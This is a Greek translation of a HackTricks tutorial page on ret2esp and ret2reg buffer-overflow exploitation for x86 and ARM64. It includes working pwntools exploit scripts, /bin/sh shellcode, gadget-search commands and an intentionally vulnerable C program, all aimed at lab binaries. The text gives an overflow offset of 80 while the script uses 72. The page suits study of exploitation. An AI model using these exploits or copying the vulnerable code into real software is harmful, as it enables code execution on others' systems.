Ret2esp / Ret2reg

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Ret2esp

Επειδή ο ESP (Δείκτης Στοίβας) δείχνει πάντα στην κορυφή της στοίβας, αυτή η τεχνική περιλαμβάνει την αντικατάσταση του EIP (Δείκτης Εντολών) με τη διεύθυνση μιας jmp esp ή call esp εντολής. Κάνοντας αυτό, ο κώδικας shell τοποθετείται ακριβώς μετά την αντικατεστημένη EIP. Όταν εκτελείται η εντολή ret, ο ESP δείχνει στην επόμενη διεύθυνση, ακριβώς εκεί που είναι αποθηκευμένος ο κώδικας shell.

Αν η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR) δεν είναι ενεργοποιημένη σε Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές jmp esp ή call esp που βρίσκονται σε κοινές βιβλιοθήκες. Ωστόσο, με την ASLR ενεργή, μπορεί να χρειαστεί να αναζητήσετε αυτές τις εντολές μέσα στο ευάλωτο πρόγραμμα (και μπορεί να χρειαστεί να νικήσετε PIE).

Επιπλέον, η δυνατότητα τοποθέτησης του κώδικα shell μετά την καταστροφή του EIP, αντί στη μέση της στοίβας, διασφαλίζει ότι οποιεσδήποτε εντολές push ή pop που εκτελούνται κατά τη διάρκεια της λειτουργίας της συνάρτησης δεν παρεμβαίνουν στον κώδικα shell. Αυτή η παρέμβαση θα μπορούσε να συμβεί αν ο κώδικας shell τοποθετούνταν στη μέση της στοίβας της συνάρτησης.

Έλλειψη χώρου

Αν σας λείπει χώρος για να γράψετε μετά την αντικατάσταση του RIP (ίσως μόνο μερικά bytes), γράψτε έναν αρχικό κώδικα shell jmp όπως:

armasm
sub rsp, 0x30
jmp rsp

Και γράψτε το shellcode νωρίς στη στοίβα.

Παράδειγμα

Μπορείτε να βρείτε ένα παράδειγμα αυτής της τεχνικής στο https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp με μια τελική εκμετάλλευση όπως:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Μπορείτε να δείτε ένα άλλο παράδειγμα αυτής της τεχνικής στο https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Υπάρχει μια υπερχείλιση buffer χωρίς ενεργοποιημένο το NX, χρησιμοποιείται ένα gadget για να μειώσει τη διεύθυνση του $esp και στη συνέχεια ένα jmp esp; για να μεταπηδήσει στον shellcode:

python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Ομοίως, αν γνωρίζουμε ότι μια συνάρτηση επιστρέφει τη διεύθυνση όπου είναι αποθηκευμένο το shellcode, μπορούμε να εκμεταλλευτούμε τις εντολές call eax ή jmp eax (γνωστές ως τεχνική ret2eax), προσφέροντας μια άλλη μέθοδο για να εκτελέσουμε το shellcode μας. Ακριβώς όπως το eax, οποιοδήποτε άλλο καταχωρητή που περιέχει μια ενδιαφέρουσα διεύθυνση θα μπορούσε να χρησιμοποιηθεί (ret2reg).

Παράδειγμα

Μπορείτε να βρείτε μερικά παραδείγματα εδώ:

ARM64

Ret2sp

Στο ARM64 δεν υπάρχουν εντολές που να επιτρέπουν να πηδήξουμε στο καταχωρητή SP. Είναι πιθανό να βρούμε ένα gadget που μεταφέρει το sp σε έναν καταχωρητή και στη συνέχεια πηδά σε αυτόν τον καταχωρητή, αλλά στη libc της kali μου δεν μπόρεσα να βρω κανένα gadget όπως αυτό:

bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Οι μόνοι που ανακάλυψα θα άλλαζαν την τιμή του μητρώου όπου το sp αντιγράφηκε πριν πηδήξει σε αυτό (έτσι θα γινόταν άχρηστο):

Ret2reg

Αν ένα μητρώο έχει μια ενδιαφέρουσα διεύθυνση, είναι δυνατόν να πηδήξεις σε αυτό απλά βρίσκοντας την κατάλληλη εντολή. Θα μπορούσες να χρησιμοποιήσεις κάτι σαν:

bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

Στην ARM64, είναι το x0 που αποθηκεύει την τιμή επιστροφής μιας συνάρτησης, οπότε θα μπορούσε να είναι ότι το x0 αποθηκεύει τη διεύθυνση ενός buffer που ελέγχεται από τον χρήστη με ένα shellcode για εκτέλεση.

Παράδειγμα κώδικα:

c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Ελέγχοντας την αποσυναρμολόγηση της συνάρτησης, είναι δυνατόν να δούμε ότι η διεύθυνση προς το buffer (ευάλωτο σε bof και ελεγχόμενο από τον χρήστη) είναι αποθηκευμένη στο x0 πριν επιστρέψει από την υπερχείλιση του buffer:

Είναι επίσης δυνατό να βρούμε το gadget br x0 στη συνάρτηση do_stuff:

Θα χρησιμοποιήσουμε αυτό το gadget για να κάνουμε άλμα σε αυτό γιατί το δυαδικό είναι μεταγλωττισμένο ΧΩΡΙΣ PIE. Χρησιμοποιώντας ένα μοτίβο, είναι δυνατόν να δούμε ότι η απόσταση της υπερχείλισης του buffer είναι 80, οπότε η εκμετάλλευση θα είναι:

python
from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

warning

Αντί για fgets χρησιμοποιήθηκε κάτι όπως read, θα ήταν δυνατό να παρακαμφθεί το PIE απλά υπεργράφοντας τα τελευταία 2 bytes της διεύθυνσης επιστροφής για να επιστρέψει στην εντολή br x0; χωρίς να χρειάζεται να γνωρίζουμε τη συνολική διεύθυνση.
Με το fgets δεν λειτουργεί γιατί προσθέτει ένα null (0x00) byte στο τέλος.

Προστασίες

  • NX: Αν η στοίβα δεν είναι εκτελέσιμη, αυτό δεν θα βοηθήσει καθώς πρέπει να τοποθετήσουμε το shellcode στη στοίβα και να κάνουμε jump για να το εκτελέσουμε.
  • ASLR & PIE: Αυτά μπορούν να κάνουν πιο δύσκολη την εύρεση μιας εντολής για να κάνουμε jump σε esp ή οποιοδήποτε άλλο register.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks